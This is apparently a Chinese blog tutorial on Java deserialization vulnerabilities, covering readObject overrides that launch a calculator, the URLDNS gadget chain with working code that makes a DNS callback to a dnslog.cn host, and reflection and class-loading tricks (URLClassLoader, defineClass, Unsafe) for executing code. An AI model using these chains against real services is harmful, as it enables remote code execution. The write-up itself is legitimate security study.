• Java反序列化学习


    前言

    早知前路多艰辛,仙尊悔而我不悔。Java反序列化,免费一位,开始品鉴,学了这么久web,还没深入研究Java安全,人生一大罪过。诸君,请看。

    序列化与反序列化

    简单demo:

    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.io.Serializable;
    
    public class serialize implements Serializable{
        private String name;
        private int age;
        serialize(String name, int age){
            this.name = name;
            this.age = age;
        }
    
        public String getName() {
            return name;
        }
        public int getAge() {
            return age;
        }
        public void setName(String name) {
            this.name = name;
        }
        public void setAge(int age) {
            this.age = age;
        }
        public static void main(String[] args) throws Exception  {
            // 序列化
            FileOutputStream fos = new FileOutputStream("serialize.bin");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            serialize serialize = new serialize("f12", 20);
            oos.writeObject(serialize);
            oos.close();
            // 反序列化
            FileInputStream fis = new FileInputStream("serialize.bin");
            ObjectInputStream ois = new ObjectInputStream(fis);
            serialize s = (serialize) ois.readObject();
            ois.close();
            System.out.print(s);
        }
    }
    
    // 输出
    serialize@3b07d329
    

    可以看出writeObject就是序列化(注:只有实现了Serializable接口的类才能被序列化),readObject就是反序列化,建议自己上手不看demo敲。那么这将造成什么问题,很明显,当用户能控制序列化的数据时,而服务端又有反序列化的操作时,这时将任人拿捏。我想执行什么操作就能执行什么操作
    可能的形式

    • 入口类的readObejct直接调用危险方法
    • 入口类参数包含可控类,可控类里有危险方法
    • 入口类参数包含可控类,该类又调用其他含危险方法的类
    • 构造函数/静态代码块等类加载时隐式执行

    java反序列化导致执行系统命令

    简单demo:

    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.io.Serializable;
    
    public class serialize implements Serializable{
        private String name;
        private int age;
        serialize(String name, int age){
            this.name = name;
            this.age = age;
        }
    
        public String getName() {
            return name;
        }
        public int getAge() {
            return age;
        }
        public void setName(String name) {
            this.name = name;
        }
        public void setAge(int age) {
            this.age = age;
        }
    
        private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException{
            ois.defaultReadObject();
            Runtime.getRuntime().exec("calc");
        }
        public static void main(String[] args) throws Exception  {
            FileOutputStream fos = new FileOutputStream("serialize.bin");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(new serialize("f12", 20));
            oos.close();
            FileInputStream fis = new FileInputStream("serialize.bin");
            ObjectInputStream ois = new ObjectInputStream(fis);
            serialize s = (serialize) ois.readObject();
            System.out.println(s);
        }
    }
    

    重写serialize类的readObject方法,当对serialize进行反序列化时调用的是重写后的readObject方法,也就会弹出计算器。不过这种情况基本不会发生(不会有人这么蠢,危险函数直接写在readObject里),通常是通过找到一条gadget,通过构造,最终在某个重写的readObject中执行命令。

    反序列化的思路

    • 都继承了Serializeable接口
    • 入口类source(重写readObject、参数类型宽泛、jdk自带就更好、常见函数)
    • 调用链(gadget chain)
    • 执行类 sink(ssrf,rce....)

    入口类

    入口类一般是Map,Hashmap,HashTable这些集合类,因为集合类型宽泛(泛型),因此肯定继承了Serializeable接口,在Hashmap类中也重写了readObject方法:

    image

    为什么HashMap要自己实现writeObject和readObject方法
    为什么要自己实现?如上文章所诉

    调用链

    所谓调用链就是一条完整的命令执行流程,在入口类中的readObject方法中,最好有一些常见的方法,这样不管我们传什么东西进去,他都可以调用这个方法,也加大了进一步探索的可能调用链中一般会使用很多重名函数,为了实现不同的效果

    执行类

    Java反序列化的目的就是为了执行命令,所以最终得找到一个可以执行命令的类,这是相对比较困难的

    反序列化漏洞入门(URLDNS)分析

    漏洞分析

    开局先找重写了readObject的类,这里直接看HashMap:

    image

    这里s是我们可控,转变成key,进入了hash函数,继续跟进

    image

    这里调用了key的hashCode函数,也就是调用了我们可控类的hashCode函数,所以说同名函数在反序列化中是非常重要的,因为这里分析的是URLDNS链,我们看URL类中有无hashCode函数:

    image

    找到,这里有个判断,如果hashCode不等于-1,就直接返回,否则就进入handler.hashCode函数,在URL类中hashCode的值默认是-1,所以我们跟进:

    image

    这里重点在于getHostAddress,顾名思义获取host地址,假如我们传入我们vps的地址,是不是就会访问我们的vps了呢?这里使用dnslog来测试:

    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.io.Serializable;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;
    
    public class URLDNS implements Serializable{
        public static void serialize(Object obj) throws Exception{
            FileOutputStream fos = new FileOutputStream("urldns.bin");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(obj);
        }
        public static void deserialize(String filename) throws Exception{
            FileInputStream fis = new FileInputStream(filename);
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        }
        public static void main(String[] args) throws Exception{
            HashMap hashmap = new HashMap<>();
            try {
                URL url = new URL("http://zanqlw.dnslog.cn/");
                hashmap.put(url,1);
                serialize(hashmap);
                deserialize("urldns.bin");
            } catch (MalformedURLException e) {
                e.printStackTrace();
            }
        }
    }
    
    

    成功拿到请求

    image

    之后才注意到一个问题,我们就算不序列化和反序列化都能拿到请求,这是为什么?问题出现在hashmap.put这里,我们调试追踪一下:

    image

    发现在put的时候就触发了这里的getHostAddress,这时hashCode的值已经发生了改变,所以反序列化的时候根本就没触发DNS请求

    image

    那么怎么才能让我们反序列化的时候也触发DNS请求呢?hashCode的值肯定是要修改回-1的,如果要求只让我们反序列化的时候才触发DNS请求,put时的hashCode就不能是-1,所以怎么才能控制hashCode的值呢?这就需要用到反射的知识了

    java反射

    有反射就有正射
    正射:通俗来讲就是我们常用的new,通过实例化类来获取一个对象
    反射:跟正射反过来,通过实例化一个对象来获取它的类
    举个栗子:

    package f12;
    import java.io.FileOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.*;
    
    public class reflect {
        public static void Serialize(Object obj) throws Exception {
            FileOutputStream fos = new FileOutputStream("user.bin");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(obj);
        }
        public static void main(String[] args) throws Exception {
            // 正射
            user user = new user("f12", 20);
            Serialize(user);
            // 反射
            Class c = user.getClass();
            Constructor constructor = c.getConstructor(String.class, int.class);
            // 获取构造函数
            user newuser = (user) constructor.newInstance("F12", 21);
            System.out.println(newuser.getName());
            // 修改属性
            Field name = c.getDeclaredField("name");
            // 设置允许修改私有属性
            name.setAccessible(true);
            name.set(newuser, "F13");
            System.out.println(newuser.getName());
        }
    }
    // 输出
    F12
    F13
    

    可以看出通过反射修改了对象的值,那么就能进行操作了

    再战URLDNS

    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.io.Serializable;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;
    
    public class URLDNS implements Serializable{
        public static void serialize(Object obj) throws Exception{
            FileOutputStream fos = new FileOutputStream("urldns.bin");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(obj);
        }
        public static void deserialize(String filename) throws Exception{
            FileInputStream fis = new FileInputStream(filename);
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        }
        public static void main(String[] args) throws Exception{
            HashMap hashmap = new HashMap<>();
            try {
                URL url = new URL("http://vcx4cu.dnslog.cn/");
                Class u = url.getClass();
                Constructor constructor = u.getConstructor(String.class);
                URL newurl = (URL)constructor.newInstance("http://vcx4cu.dnslog.cn/");
                Field hashCode = u.getDeclaredField("hashCode");
                hashCode.setAccessible(true);
                hashCode.set(newurl, 1);
                hashmap.put(newurl, 1);
                hashCode.set(newurl, -1);
                serialize(hashmap);
                deserialize("urldns.bin");
            } catch (MalformedURLException e) {
                e.printStackTrace();
            }
        }
    }
    

    成功复仇

    JDK静态代理

    一个demo:

    package Proxy;
    
    public interface Interface {
        void rent();
        void pay();
    }
    
    package Proxy;
    
    public class Direct implements Interface{
        public void rent(){
            System.out.println("租房");
        }
        public void pay(){
            System.out.println("付款");
        }
    }
    
    
    package Proxy;
    
    public class Proxy implements Interface{
        public Interface user;
        Proxy(Interface user){
            this.user = user;
        }
        public void rent(){
            user.rent();
            System.out.println("中介帮你租房");
        }
        public void pay(){
            user.pay();
            System.out.println("中介帮你付款");
        }
    }
    
    
    package Proxy;
    
    public class Main {
        public static void main(String[] args) {
            Interface user = new Direct();
            Interface newuser = new Proxy(user);
            System.out.println("你自己:");
            user.rent();
            user.pay();
            System.out.println("找中介:");
            newuser.rent();
            newuser.pay();
        }
    }
    

    以上就是一个静态代理的例子,Proxy类相当于中介,我们可以通过它间接的去调用Direct的方法

    image

    静态代理的缺点就是当我们修改接口的化,Direct和Proxy类都得修改

    JDK动态代理

    package Proxy;
    
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Method;
    
    public class UserInvokationHandler implements InvocationHandler {
        Interface user;
        UserInvokationHandler(Interface user){
            this.user = user;
        }
        @Override
        public Object invoke(Object invoke, Method method, Object[] args) throws Throwable{
            System.out.println("这里是动态代理,调用了方法:"+method.getName());
            method.invoke(user, args);
            return null;
        }
    }
    
    package Proxy;
    import java.lang.reflect.Proxy;
    public class Main {
        public static void main(String[] args) {
            Interface user = new Direct();
            // 动态代理
            UserInvokationHandler userInvokationHandler = new UserInvokationHandler(user);
            Interface newuser = (Interface) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvokationHandler);
            newuser.rent();
            newuser.pay();
        }
    }
    
    

    以上就是动态代理,可能有点难以理解,总体上就是创建一个动态代理类,这里重写了invoke方法,方便展示,然后创建一个动态代理实例,传入的参数是Direct类的类加载器和接口,这样就代理上了Direct类,可以调用Direct类的方法了

    image

    动态代理与反序列化的关系

    其实就是因为可能没有同名函数导致无法执行命令的问题,假如我们需要最终反序列化时执行B.danger(),我们的入口类时A(Object obj),但是A类里面并没有同名函数danger,只有A.abc => B.abc,obj为我们可控的类,但如果obj是个代理类,obj(Object obj2),而这个代理类里调用了danger,那么我们就可以用obj来代理B类,从而调用到B类的danger函数,即让obj2为B类

    类的动态加载

    首先介绍两个代码块:
    构造代码块和静态代码块:

    {
        System.out.println("构造代码块");
    }
    
    static {
     System.out.println("静态代码块");
    }
    

    这里涉及到一个类加载的问题,类加载的时候会执行代码(初始化)

    package ClassLoader;
    
    public class User {
        static {
            System.out.println("静态代码块");
        }
    
        {
            System.out.println("构造代码块");
        }
    
        User() {
            System.out.println("无参构造函数");
        }
    
        User(String key) {
            System.out.println("有参构造函数");
        }
    }
    
    package ClassLoader;
    
    public class Test {
        public static void main(String[] args) throws ClassNotFoundException {
            Class.forName("ClassLoader.User");
        }
    }
    
    // 输出
    静态代码块
    

    很明显这里只加载了静态代码块,其余代码块并未执行,我们可以设置类加载的时候不进行初始化,可以看到forName方法中initialize的默认值是true

    image

    package ClassLoader;
    
    public class Test {
        public static void main(String[] args) throws ClassNotFoundException {
            Class.forName("ClassLoader.User", false, ClassLoader.getSystemClassLoader());
        }
    }
    // 无输出
    

    设置不初始化的化,就不会执行代码,再来说说实例化也就我们的new,实例化跟初始化是不同的

    package ClassLoader;
    
    public class Test {
        public static void main(String[] args) throws ClassNotFoundException {
            new User();
        }
    }
    
    // 输出
    静态代码块
    构造代码块
    无参构造函数
    

    可以看到实例化是两个代码块都执行了,这就是实例化跟初始化的区别

    双亲委派机制

    所谓的双亲委派机制,指的就是:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。
    Java中提供的这四种类型的加载器,是有各自的职责的:

    • Bootstrap ClassLoader ,主要负责加载Java核心类库,%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jar和class等。
    • Extention ClassLoader,主要负责加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。
    • Application ClassLoader ,主要负责加载当前应用的classpath下的所有类
    • User ClassLoader , 用户自定义的类加载器,可加载指定路径的class文件

    这样看来的话,用户自定义的类是不会让前两个加载器进行加载的,这里调试跟进一下加载过程

    image

    这里调用了loadclass,继续跟进

    image

    到这里,判断父加载器是否为空,不为空就调用父加载器进行加载

    image

    上面父加载器没找到,返回了APPClassLoader,这里进入URLClassLoader

    image

    然后进入defineClass

    image

    从结果上看加载进了User类的字节码,分析一下加载器的流程
    ClassLoader->SecureClassloader->urlclassloaer->applicationclassloaer->loadclass->defineclass(加载字节码)

    URLClassLoader任意类加载

    这个类加载器里有个loadclass方法可以通过url来加载类,首先再本地起个web服务

    image

    package ClassLoader;
    
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.net.URLClassLoader;
    
    public class Test {
        public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
            URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")});
            Class user = urlClassLoader.loadClass("ClassLoader.User");
            user.newInstance();
        }
    }
    
    // 输出
    静态代码块
    构造代码块
    无参构造函数
    

    ClassLoader加载字节码执行命令

    ClassLoader.defineClass可以通过加载类的字节码来加载类,我们可以通过反射来获取到defineClass方法,加载我们自定义的类,来执行命令

    package ClassLoader;
    
    import java.io.IOException;
    
    public class Eval {
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
    
        public static void main(String[] args) {
    
        }
    }
    
    
    package ClassLoader;
    
    import java.io.IOException;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.net.URLClassLoader;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    
    public class Test {
        public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
            Method defindClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            defindClass.setAccessible(true);
            byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
            ClassLoader cl = ClassLoader.getSystemClassLoader();
            Class eval = (Class) defindClass.invoke(cl, "ClassLoader.Eval", bytes,0, bytes.length );
            eval.newInstance();
        }
    }
    
    

    image

    Unsafe加载字节码

    package ClassLoader;
    
    import sun.misc.Unsafe;
    
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.net.URLClassLoader;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    
    public class Test {
        public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
            byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
            Field f = Unsafe.class.getDeclaredField("theUnsafe");
            f.setAccessible(true);
            Unsafe unsafe = (Unsafe) f.get(null);
            ClassLoader cl = ClassLoader.getSystemClassLoader();
            Class eval = unsafe.defineClass("ClassLoader.Eval",bytes,0, bytes.length, cl, null);
            eval.newInstance();
        }
    }
    
    

    image

    这里我们获取的是Unsafe的属性,而不是它的defineclass方法,因为它被native修饰,没法被反射调用

    image

    而它的属性theUnsafe其实就是Unsafe对象,所以获取这个属性,再调用defineclass来加载我们的自定义类

    image


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/F12-blog/p/18077209
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    Vue模块语法上(插值&指令&过滤器&计算属性-监听属性)
    Crypto/加密货币 应用
    DOM文档对象模型
    无代码开发平台选型指南
    JAVA删除excel指定列
    《机器人SLAM导航核心技术与实战》第1季:第6章_机器人底盘
    SpringBoot - 在IDEA中如何引入本地JAR包?
    .Net单元测试xUnit和集成测试指南(1)
    CTFHub | Cookie注入,UA注入,Refer注入,过滤空格(利用hackbar插件)
    WorkPlus私有化部署IM即时通讯平台,构建高效安全的局域网办公环境
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18077209